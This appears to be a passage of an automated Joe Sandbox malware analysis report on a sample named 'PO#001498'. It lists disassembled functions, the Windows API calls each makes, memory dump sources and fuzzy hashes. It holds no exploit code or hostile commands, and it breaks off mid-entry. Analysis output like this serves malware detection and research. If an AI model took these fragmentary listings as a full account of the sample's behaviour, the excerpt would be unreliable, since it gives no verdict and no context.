                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: BeepDialogItemKillMessageTextTimerWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3741023627-0
                                                                                                                                                                                                        • Opcode ID: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                                                        • Instruction ID: 48c257e0c270193328064fa19c5b46d6a870d8092b70dfec968bdaebd9a60f08
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5e0545b8da8baa7cb8324f4116d33f6edaa60507eab9176a587cebaf75a8c25b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BE018831500300A7E7209B54DE5DBDB77A8BF44B05F00492EB681A25D0E7F8A584CB55
                                                                                                                                                                                                        Function 00455505 Relevance: 7.5, APIs: 5, Instructions: 43windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • SendMessageW.USER32(?,00001101,00000000,?), ref: 00455514
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: DeleteDestroyObject$IconMessageSendWindow
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1489400265-0
                                                                                                                                                                                                        • Opcode ID: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                                                        • Instruction ID: 68d82c845863845e83b9d92669df32d5d1b96a6c2c0272d07869f65424c05900
                                                                                                                                                                                                        • Opcode Fuzzy Hash: fb8346e1cf28bbdc4ad062342734fe1bacbf25b41774fd01ae6266dc65fad9d1
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D9014F703006419BDB10EF65DED8A2A73A9FB44712B40455AFE05DB286DB78EC49CB68
                                                                                                                                                                                                        Function 0045551F Relevance: 7.5, APIs: 5, Instructions: 42windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0043343D: InvalidateRect.USER32(?,00000000,00000001), ref: 004334BE
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                        • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                        • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                        • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Destroy$DeleteObjectWindow$IconInvalidateRect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1042038666-0
                                                                                                                                                                                                        • Opcode ID: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                                                        • Instruction ID: 707d1f3050e1f0ff98422ce5efa9f9a4d3559fdafbc0a23101ed238e91bf2869
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 920ee65d6839c6288c76afce6441748d32e1b72318fe83d584ccefe2da360159
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B2014B702006419BCB10AF65D9C8A2A33ACAF19322780456AFD05D7242DB28EC498B79
                                                                                                                                                                                                        Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2625713937-0
                                                                                                                                                                                                        • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                                                        • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                                                                                                                                        Function 004140CF Relevance: 7.5, APIs: 5, Instructions: 24threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                                                        • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                          • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                        • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                                                                                                                                          • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                        • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                                                                                                                                          • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                        • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                                                                                                                                        • ExitThread.KERNEL32 ref: 0041410F
                                                                                                                                                                                                        • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                                                                                                                                        • __freefls@4.LIBCMT ref: 00414135
                                                                                                                                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 132634196-0
                                                                                                                                                                                                        • Opcode ID: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                                                        • Instruction ID: c6f54ac6c47f72d6c6be617d0ab0d95393642b3a08ca47198428750b18cc63fb
                                                                                                                                                                                                        • Opcode Fuzzy Hash: dbe0df41a3d89f03eebcd77cedb8c7fbd95cde8327ee68e759feca9a6a87dff2
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EFE0B6318012096B8F0177F28E2A8DF3A2DAD56799B12842EBF10A3112DA6DD9D147AD
                                                                                                                                                                                                        Function 00415601 Relevance: 7.5, APIs: 5, Instructions: 23threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 00415610
                                                                                                                                                                                                          • Part of subcall function 00418540: __FindPESection.LIBCMT ref: 0041859B
                                                                                                                                                                                                        • __getptd_noexit.LIBCMT ref: 00415620
                                                                                                                                                                                                        • CloseHandle.KERNEL32(?,?,0041566B), ref: 00415634
                                                                                                                                                                                                        • __freeptd.LIBCMT ref: 0041563B
                                                                                                                                                                                                        • ExitThread.KERNEL32 ref: 00415643
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CloseCurrentExitFindHandleImageNonwritableSectionThread__freeptd__getptd_noexit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3798957060-0
                                                                                                                                                                                                        • Opcode ID: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                                                        • Instruction ID: 5ad9b57b40d8b41da6f03c32f2a15b2799e0bbfe2e5ad1689210a27a588f1b2a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d3b08fe511e09ca6ea2d918a54b62a74066439bca0a0e456eaad9824bd7e2a02
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 29E01A31501A1197C2212BB9AC097DE3255AF01F36F944A6EF81A952A0DB6CD98147AD
                                                                                                                                                                                                        Function 0041567F Relevance: 7.5, APIs: 5, Instructions: 22threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00411A35: _doexit.LIBCMT ref: 00411A41
                                                                                                                                                                                                        • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                                                          • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                                                          • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                                                        • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                                                          • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                                                        • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                                                          • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                                                        • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                                                        • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                                                        • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                                                        • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4_doexit
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 1537469427-0
                                                                                                                                                                                                        • Opcode ID: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                                                        • Instruction ID: 6f4b581ce684dac4bce1a6396b1ab204a3b2196504341234b7a244e47b3a25b0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 99715b5f8e2ff19c7b8f3a2e2e0a417857e73ed83bc070766e6b29f9400adc7a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 83E0E6308003096BCF0037F29E1A9DF392DAD41389B52841E7E14B2122DE6DD9D1466D
                                                                                                                                                                                                        Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _malloc
                                                                                                                                                                                                        • String ID: Default$|k
                                                                                                                                                                                                        • API String ID: 1579825452-2254895183
                                                                                                                                                                                                        • Opcode ID: becd5b91230c6b3cce4541e76e7ed3885ca0e1da08972e6e30288734a84e99a9
                                                                                                                                                                                                        • Instruction ID: 39a525bc613f0e7e9485e4ea944b13d532e73913c0a35fc25f8fa2b96209a7b9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: becd5b91230c6b3cce4541e76e7ed3885ca0e1da08972e6e30288734a84e99a9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 51F19F706083018BD714DF25C484A6BB7E5AF85314F64886FF885AB392D738EC55CB9B
                                                                                                                                                                                                        Function 0044F0B1 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 377COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _memcmp
                                                                                                                                                                                                        • String ID: '$[$h
                                                                                                                                                                                                        • API String ID: 2931989736-1224472061
                                                                                                                                                                                                        • Opcode ID: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                                                        • Instruction ID: c2eec353cbd26a418970a1643da97c958d9efd09d44d369c5aec2a2e92b02032
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b65a2ba19e68ffe8a11284d2d069350b2f2ae6a9059e42b54d6f98484e49560c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EBE1B3756083858FE725CF28C8807ABBBE1FFC9304F18896EE89587341D7799849CB56
                                                                                                                                                                                                        Function 0044F1F5 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 358COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _strncmp
                                                                                                                                                                                                        • String ID: >$R$U
                                                                                                                                                                                                        • API String ID: 909875538-1924298640
                                                                                                                                                                                                        • Opcode ID: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                                                        • Instruction ID: f6794502b7c89560a677b30a08de70cb8bc1b17d125f16f135907c58c8460d8d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f9ebc198af2ab7ab0819517e001d9756788144751dce64bc403378e3fae079f3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 46E19C745083818FEB25CF29C49076BBBE1EFD9304F28496EE89587381D378E849CB56
                                                                                                                                                                                                        Function 0046CDA0 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 263comCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 00442C52: _wcslen.LIBCMT ref: 00442C82
                                                                                                                                                                                                        • CoInitialize.OLE32(00000000), ref: 0046CE18
                                                                                                                                                                                                        • CoCreateInstance.OLE32(00482A50,00000000,00000001,004828B0,?), ref: 0046CE31
                                                                                                                                                                                                        • CoUninitialize.OLE32 ref: 0046CE50
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateInitializeInstanceUninitialize_wcslen
                                                                                                                                                                                                        • String ID: .lnk
                                                                                                                                                                                                        • API String ID: 886957087-24824748
                                                                                                                                                                                                        • Opcode ID: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                                                        • Instruction ID: 09ec1e36491b9dee8eccbfa157b0fc1a83632a56aae6c10d58f94140378ad3aa
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cf95cfa125c39178dc1728bd48ca6ee468afe444b27fb378bb5b47a8cf5920ff
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D3A1ABB5A042019FC704EF64C980E6BB7E9EF88714F14895EF8849B392D735EC45CBA6
                                                                                                                                                                                                        Function 00469BED Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 219COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00469C37
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _wcslen
                                                                                                                                                                                                        • String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
                                                                                                                                                                                                        • API String ID: 176396367-557222456
                                                                                                                                                                                                        • Opcode ID: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                                                        • Instruction ID: 5ec49088f7a0f5eff408c40ec761cfb1cab3d77d8e9f1d748350f88cc39ab646
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6ed3ee7040cf52f7c8cf58c24b37417f7719ae2cfab6dfb5b0d2deafceea8a2b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 2C818F715183009FC310EF65C88186BB7E8AF85714F408A2FF5959B2A2E778ED45CB9B
                                                                                                                                                                                                        Function 0042D2CC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 204COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                          • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                                                        • VariantInit.OLEAUT32(00000000), ref: 0042D2E0
                                                                                                                                                                                                        • VariantCopy.OLEAUT32(?,?), ref: 0042D2EE
                                                                                                                                                                                                        • VariantClear.OLEAUT32(00000000), ref: 0042D2FF
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000000.00000002.2173480324.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173305717.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173586342.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173610493.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000000.00000002.2173657622.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_0_2_400000_PO#001498.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Variant$ClearCopyInit_malloc
                                                                                                                                                                                                        • String ID: 4RH
                                                                                                                                                                                                        • API String ID: 2981388473-749298218
                                                                                                                                                                                                        • Opcode ID: d956ccd27091b275d92ae689e644ef0078f9b2b1c30e9ed5fdb952697d9d3722
